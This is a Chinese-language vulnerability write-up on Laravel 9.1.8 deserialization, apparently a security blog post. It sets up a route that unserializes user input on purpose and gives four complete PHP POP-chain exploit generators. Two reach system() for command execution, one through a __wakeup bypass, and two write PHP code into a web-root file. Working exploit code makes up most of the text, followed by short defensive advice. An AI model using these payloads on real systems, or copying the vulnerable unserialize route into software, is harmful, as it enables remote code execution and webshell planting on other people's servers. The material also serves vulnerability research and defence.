Laravel 9.1.8 反序列化漏洞分析
字数 1811 2025-08-27 12:33:31
Laravel 9.1.8 反序列化漏洞分析与利用
漏洞概述
Laravel 9.1.8 版本中存在多个反序列化漏洞,攻击者可以通过构造特定的反序列化链实现远程代码执行(RCE)。本文详细分析四个不同的POP(Property-Oriented Programming)链利用方式。
环境搭建
- 下载官方 Laravel 9.1.8 源码
- 执行
composer install安装依赖 - 修改
routes/web.php添加漏洞触发点:
Route::get('/', function (\Illuminate\Http\Request $request) {
$vuln = base64_decode($request->input("vuln"));
unserialize($vuln);
return "H3rmesk1t";
});
或直接使用打包好的漏洞环境。
POP Chain 1分析
漏洞描述
通过 Illuminate\Broadcasting\PendingBroadcast.php 的 __destruct 方法和 Illuminate\Bus\QueueingDispatcher.php 的 dispatch 方法实现RCE。
利用链分析
-
起点:
PendingBroadcast::__destruct()- 调用
$this->events->dispatch($this->event) $this->events和$this->event可控
- 调用
-
进入
Dispatcher::dispatch()- 调用
dispatchToQueue($command) $command和$this->queueResolver可控
- 调用
-
关键点:
dispatchToQueue()中的call_user_func- 通过
BroadcastEvent控制$command->connection $this->queueResolver设置为系统命令执行函数
- 通过
利用代码
<?php
namespace Illuminate\Contracts\Queue { interface ShouldQueue {} }
namespace Illuminate\Bus {
class Dispatcher {
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct() {
$this->queueResolver = "system";
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Contracts\Queue\ShouldQueue;
class BroadcastEvent implements ShouldQueue {
function __construct() {}
}
class PendingBroadcast {
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "calc";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
POP Chain 2分析
漏洞描述
通过 GuzzleHttp\Cookie\FileCookieJar.php 的 __destruct 方法实现文件写入。
利用链分析
-
起点:
FileCookieJar::__destruct()- 调用
$this->save() $this->filename可控
- 调用
-
关键点:
save()中的file_put_contents- 通过
SetCookie控制写入内容 $this->data['Expires']设置为PHP代码$this->data['Discard']设置为0确保持久化
- 通过
利用代码
<?php
namespace GuzzleHttp\Cookie {
class SetCookie {
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct() {
$this->data['Expires'] = '<?php phpinfo();?>';
$this->data['Discard'] = 0;
}
}
class CookieJar {
private $cookies = [];
private $strictMode;
function __construct() {
$this->cookies[] = new SetCookie();
}
}
class FileCookieJar extends CookieJar {
private $filename;
private $storeSessionCookies;
function __construct() {
parent::__construct();
$this->filename = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
$this->storeSessionCookies = true;
}
}
}
namespace {
$pop = new \GuzzleHttp\Cookie\FileCookieJar();
echo base64_encode(serialize($pop));
}
POP Chain 3分析
漏洞描述
通过绕过 Faker\Generator.php 的 __wakeup 限制,结合 PendingBroadcast 和 Generator 的 __call 方法实现RCE。
绕过技术
Generator::__wakeup()会将$this->formatters重置为空数组- 利用PHP引用特性(R:2)使
$this->formatters指向其他属性 - 通过
SMimePart::__wakeup()修改引用目标的值
利用链分析
- 起点:
SMimePart反序列化触发__wakeup - 通过引用绕过
Generator::__wakeup限制 - 最终调用
Generator::__call()执行系统命令
利用代码
<?php
namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "dispatch";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Broadcasting {
class PendingBroadcast {
public function __construct() {
$this->event = "calc";
$this->events = new \Faker\Generator();
}
}
}
namespace Symfony\Component\Mime\Part {
abstract class AbstractPart {
private $headers = null;
}
class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["dispatch" => "system"];
$this->h3rmesk1t = new \Illuminate\Broadcasting\PendingBroadcast();
}
}
}
namespace {
$pop = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/s:49.*\"dispatch\";s:6:\"system\"/", "\\1\\3\\2\\4", serialize($pop));
echo base64_encode(str_replace("i:9999", "R:2", $ser));
}
POP Chain 4分析
漏洞描述
结合 PendingResourceRegistration 和绕过后的 Generator 实现文件写入。
利用链分析
- 起点:
PendingResourceRegistration::__destruct() - 调用
$this->registrar->register() - 通过
Generator::__call()调用file_put_contents - 控制文件名和内容实现任意文件写入
利用代码
<?php
namespace Faker {
class Generator {
protected $providers = [];
protected $formatters = [];
function __construct() {
$this->formatter = "register";
$this->formatters = 9999;
}
}
}
namespace Illuminate\Routing {
class PendingResourceRegistration {
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
function __construct() {
$this->registrar = new \Faker\Generator();
$this->name = "C:/Tools/phpstudy_pro/WWW/laravel9/public/info.php";
$this->controller = "<?php phpinfo();system('calc');?>";
$this->options = 8;
}
}
}
namespace Symfony\Component\Mime\Part {
abstract class AbstractPart {
private $headers = null;
}
class SMimePart extends AbstractPart {
protected $_headers;
public $h3rmesk1t;
function __construct() {
$this->_headers = ["register" => "file_put_contents"];
$this->h3rmesk1t = new \Illuminate\Routing\PendingResourceRegistration();
}
}
}
namespace {
$pop = new \Symfony\Component\Mime\Part\SMimePart();
$ser = preg_replace("/s:49.*\"register\";s:15:\"file_put_contents\"/", "\\1\\3\\2\\4", serialize($pop));
echo base64_encode(str_replace("i:9999", "R:2", $ser));
}
防护建议
- 升级到最新版本的Laravel
- 避免反序列化用户可控的数据
- 使用白名单验证反序列化类
- 实现
__wakeup()或__destruct()方法时进行安全检查
总结
本文详细分析了Laravel 9.1.8中的四个反序列化漏洞利用链,展示了如何通过精心构造的序列化数据实现远程代码执行或文件写入。这些漏洞的核心在于不安全的反序列化操作与PHP对象属性操控的结合利用。